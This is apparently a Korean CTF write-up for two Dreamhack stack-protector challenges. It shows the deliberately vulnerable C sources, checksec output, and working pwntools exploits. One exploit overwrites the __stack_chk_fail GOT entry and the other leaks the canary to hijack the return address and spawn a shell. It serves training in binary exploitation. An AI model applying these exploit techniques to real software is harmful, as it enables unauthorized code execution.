# SSP_000

```c
#include <stdio.h>
#include <stdlib.h>
#include <signal.h>
#include <unistd.h>


void alarm_handler() {
    puts("TIME OUT");
    exit(-1);
}


void initialize() {
    setvbuf(stdin, NULL, _IONBF, 0);
    setvbuf(stdout, NULL, _IONBF, 0);

    signal(SIGALRM, alarm_handler);
    alarm(30);
}

void get_shell() {
    system("/bin/sh");
}

int main(int argc, char *argv[]) {
    long addr;
    long value;
    char buf[0x40] = {};

    initialize();


    read(0, buf, 0x80);

    printf("Addr : ");
    scanf("%ld", &addr);
    printf("Value : ");
    scanf("%ld", &value);

    *(long *)addr = value;

    return 0;
}
```

해당 코드에서는 canary를 leak할 부분이 존재하지 않는다. 따라서 canary를 우회하는 방법은 canary가 달라 실패했을 때 실행이 되는 __stack_chk_fail함수에서 return하는 부분을 get_shell로 조작해 넣는 방법을 사용해야한다. 따라서 아래와같이 해당 함수를 접근해 got를 조작하면 쉘을 획득할 수 있다.

```
from pwn import *

context.log_level = 'debug'
#p = process("./ssp_000")
p = remote("host3.dreamhack.games", 15295)
elf = ELF("./ssp_000")
get_shell = elf.symbols['get_shell']

p.send('A'*0x50)
p.sendlineafter("Addr : ", str(elf.got['__stack_chk_fail']))
p.sendlineafter("Value : ", str(get_shell))

p.interactive()
```

# SSP_001

```
#include <stdio.h>
#include <stdlib.h>
#include <signal.h>
#include <unistd.h>
void alarm_handler() {
    puts("TIME OUT");
    exit(-1);
}
void initialize() {
    setvbuf(stdin, NULL, _IONBF, 0);
    setvbuf(stdout, NULL, _IONBF, 0);
    signal(SIGALRM, alarm_handler);
    alarm(30);
}
void get_shell() {
    system("/bin/sh");
}
void print_box(unsigned char *box, int idx) {
    printf("Element of index %d is : %02x\n", idx, box[idx]);
}
void menu() {
    puts("[F]ill the box");
    puts("[P]rint the box");
    puts("[E]xit");
    printf("> ");
}
int main(int argc, char *argv[]) {
    unsigned char box[0x40] = {};
    char name[0x40] = {};
    char select[2] = {};
    int idx = 0, name_len = 0;
    initialize();
```

```
    while(1) {
        menu();
        read(0, select, 2);
        switch( select[0] ) {
            case 'F':
                printf("box input : ");
                read(0, box, sizeof(box));
                break;
            case 'P':
                printf("Element index : ");
                scanf("%d", &idx);
                print_box(box, idx);
                break;
            case 'E':
                printf("Name Size : ");
                scanf("%d", &name_len);
                printf("Name : ");
                read(0, name, name_len);
                return 0;
            default:
                break;
        }
    }
}
```

우선 해당 문제의 소스코드를 보면 스택에 0x80과 변수들을 할당해줬고 case E 부분을 보면 내가 입력하는 길이만큼 name을 불러오고있다 따라서 이부분에서 BOF가 발생한다. 이 부분을 이용해서 공격벡터는 BOF를 통해 return to shellcode 을 생각할 수 있는데

```
pwndbg> checksec
[*] '/home/antimony/Desktop/dreamhack/ssp_001/ssp_001'
    Arch:     i386-32-little
    RELRO:    Partial RELRO
    Stack:    Canary found
    NX:       NX enabled
    PIE:      No PIE (0x8048000)

pwndbg>
```

pwndbg의 checksec을 통해 빌드정보를 확인해본결과 NX가 걸려있으므로 스택부분에 실행권한이 없어 이 공격은 불가능하다. 하지만 소스코드에 get_shell이라는 함수가 있으므로 해당 함수를 통해 쉘을 획득해야한다.

해당 함수를 실행하기 위해서는 스택 canary를 우회해야한다. 우회방법으로는 아래의 소스코드처럼 leak을 통해 스택canary를 하나씩 출력시켜 조합한다음 return addr를 get_shell로 변경시키면 끝이다.

```
from pwn import *

r = process('./ssp_001')

sla = r.sendlineafter
sa = r.sendafter
```

```python
def print_box(idx):
    sla('> ', 'P')
    sla('Element index : ', str(idx))

def Exit(name_len, name):
    sla('> ', 'E')
    sla('Name Size : ', str(name_len))
    sa('Name : ', name)

get_shell = 0x80486b9 # get_shell()

# canary leak
canary = 0
for idx in range(0x80, 0x84):
    print_box(idx)
    canary += (int(r.recvline()[-3:-1], 16) << ((idx - 0x80) * 8))

# overwrite return address of main() with get_shell()
Exit(0x50, b'a' * 0x40 + p32(canary) + b'a' * 8 + p32(get_shell))

r.interactive()
```